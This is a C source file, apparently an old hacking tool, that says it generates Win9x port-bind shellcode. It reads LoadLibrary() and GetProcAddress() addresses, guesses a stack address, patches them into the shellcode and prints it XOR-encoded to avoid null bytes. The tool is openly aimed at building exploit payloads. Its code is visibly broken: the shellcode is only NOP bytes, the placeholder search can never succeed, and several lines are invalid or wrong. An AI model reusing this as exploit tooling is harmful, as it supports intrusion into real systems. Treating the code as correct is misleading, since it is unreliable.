/* 
 * This just generates Win9x porthshell code (on the fly).
 *
 * -------------------------------------------------------------------
 * Usage: shellgen [options]
 *
 * Options:
 * -a abs. address (used as base)
 * -b bufsize
 * -o offset
 * -------------------------------------------------------------------
 *
 * An absolute address (to use as a base) must be specified, unless 
 * running from a Win9x machine (their stack pointers should be close
 * close enough).
 */

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <getopt.h>
#include <errno.h>

#define ERROR -1

#define NOP 0x90
#define OFFSET 0
#define BUFSIZE 512

char shellcode[] =  /* Win9x shellcode */
  "\x90\x90\x90\x90\x90\x90\x90";

unsigned long getesp();
void printcode(char *buf, int bufsize);
void usage(char *progname, int code);

int main(int argc, char **argv)
{
   int opt = 0;
   register int i, j;
   char addrstr[32], *buf, *bufptr;

   int offset = OFFSET, bufsize = BUFSIZE;
   unsigned long *addrptr, addr1, addr2, stackaddr = ERROR;


   if (argc > 1)
      while ((opt = getopt(argc, argv, "a:b:o:h")) != ERROR)
         switch(opt)
         {
            case 'a': /* if not specified, will use getesp() */
               stackaddr = atol(optarg);
               break;

            case 'b':
               bufsize = atoi(optarg);
               break;

            case 'o':
               offset = atoi(optarg);
               break;

            case 'h':
               usage(argv[0], 0);

            case '?':
               putchar('\n');
               usage(argv[0], ERROR);
         }

   /* --------------------------------------------- */

   if (bufsize < BUFSIZE)
   {
      fprintf(stderr, "error: bufsize must be at least %d bytes\n\n", 
              BUFSIZE);

      exit(ERROR);
   }

   memset(addrstr, 0, sizeof(addrstr));

   printf("estimated LoadLibrary() address (in hex): ");
   fgets(addrstr, sizeof(addrstr) - 1, stdin);
   addr1 = atol(addrstr);

   memset(addrstr, 0, sizeof(addrstr));

   printf("estimated GetProcAddress() address (in hex): ");
   fgets(addrstr, sizeof(addrstr) - 1, stdin);
   addr2 = atol(addrstr);

   /* --------------------------------------------- */

   putchar('\n');
   printf("LoadLibrary() = 0x%lx, GetProcAddress() = 0x%lx\n", 
          addr1, addr2);

   printf("bufsize = 0x%x (%d) bytes, offset = 0x%x (%d) bytes\n\n",
          bufsize, bufsize, offset, offset);

   if (stackaddr == ERROR) stackaddr = getesp() + offset;
   else stackaddr += offset;

   printf("using 0x%lx as stack address\n\n", stackaddr);

   /* --------------------------------------------- */

   bufptr = strstr(shellcode, "\xff\xff\xff\xff");
   if (bufptr == NULL)
   {
      fprintf(stderr, "error: LoadLibrary() shellcode entry not found\n");
      exit(ERROR);
   }

   ((long)*bufptr) = ntohl(addr1), bufptr += 4; /* LoadLibrary() */
   ((long)*bufptr) = ntohl(addr2); /* GetProcAddress() */
   /* ------------------------------------------- */

   printf("char shellcode[] =\n\"");

   /* this will just print it in one long string, becaues we're lazy */

   for (bufptr = shellcode; *bufptr; bufptr++)
   {
      /* xor the shellcode by 0x1 to avoid nulls */
      printf("\x%02x", *bufptr ^ 0x1); 
   }

   printf("\";");

   return 0;
}

void usage(char *progname, int exitcode)
{
   fprintf(stderr, "Usage: %s [options]\n\n", progname);

   fprintf(stderr, "options:\n"
                   "-a abs. address (used as base)\n"
                   "-b bufsize\n"
                   "-o offset\n\n");

   exit(exitcode);
}


unsigned long getesp()
{
   __asm__("movl %esp,%eax"); /* store esp in return value (eax) */
}

